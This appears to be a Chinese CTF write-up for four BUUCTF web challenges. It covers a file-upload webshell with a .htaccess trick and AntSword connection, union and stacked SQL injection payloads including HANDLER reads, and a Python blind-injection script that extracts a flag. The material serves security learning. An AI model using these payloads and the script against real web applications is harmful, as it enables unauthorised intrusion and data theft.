Buuctf Web(29-32)

Buuctf Web(29-32)

29、BabyUpload

上传木马文件

image

image

抓包,把Content-Type改成image/jpeg,send,上传成功

image

文件解析漏洞(.htaccess)

再上传一个文件.htaccess,用于把我们改成上传的1.png转换成php执行的文件

1
2
3
4
5
6
.htaccess是什么
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

来源网站:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html

image

image-20230815191917070

剑蚁连接

url:http://954cf8be-bbf5-4eae-b98c-8ec3134ab480.node4.buuoj.cn:81/upload/eb1fdce4f69ef7dbee3449f34d370e48/1.png

密码:zyh

image

测试连接,连接成功,添加

右键单击,文件管理,可以看见刚刚上传的两个文件

image

到根目录可以看到flag

image

双击得到flag

image

1
flag{311e55a5-2d17-4918-bc47-3bd56396cb65}

30、BabySQli

随便输入,然后登录

跳转到了search.php

image

查看源代码

image

第一行有一串加密的字符,base32+base64解密

image

image

得到:select * from user where username = ‘$name’

存在一个admin用户,当name=admin时回显不是user error而是pass error

这里的验证方式是将name带入查询再将查询后的密码与输入进行比对。经过常规注入手段我们发现这里有三个字段

image

爆字段数:name=admin' Order by 3 #&pw=1——注意:这里的or被过滤,使用大小写绕过

image

经测试admin在第二字段

union联合查询在查询不存在的数据时,会创建一个临时数据,然后返回这个临时数据union select 1,2,3,返回数据就为column1:1,column2:2,column3:3。我们可以根据这个特性来猜测user字段的位置。经过猜测我们发现admin在2的位置。

image

猜测3的位置应该就是pass字段并且这里pass应该存储的是MD5值,将123进行MD5加密放到3的位置,这时union select, 1,admin,‘md5(123)’,的返回数据为column1:1,column2:admin,column3:md5(123),并且将返回的md5(123),与我们输入的pass的md5值进行比对如果一样则会登陆成功。

payload:name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123

得到flag

image

1
flag{ee2e0a88-2e24-42a8-aca4-82df10b46a95} 

31、Blacklist

堆叠注入+HANDLER

image

1';show databases;#

image

1';show tables;#

看到了FlagHere

image-20230815165542275

1'; show columns from FlagHere;#

看到了flag字段

image

大佬的方法

HANDLER OPEN语句打开一个表,使其可以使用后续HANDLER READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

image

1
flag{a23e0fdb-6350-412e-9f51-b021e9d5956e}

32、Hack World

显示了一些常见的SQL字符,很多都被过滤了

但还有()字符没被过滤,我们使用()代替空格,而且题目提示flag在flag表的flag字段中

使用脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))#format函数设置指定位置{0}{1}
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(str(num)+':'+flag)
else:
continue
print(flag)


if __name__ == '__main__':
url = 'http://f3973461-b610-4d3c-aebe-b5c7fba25e38.node4.buuoj.cn:81/index.php'
blind_injection(url)

运行得到flag

image

1
flag{fbc1a128-737d-4d89-9b9d-fad374bbef13}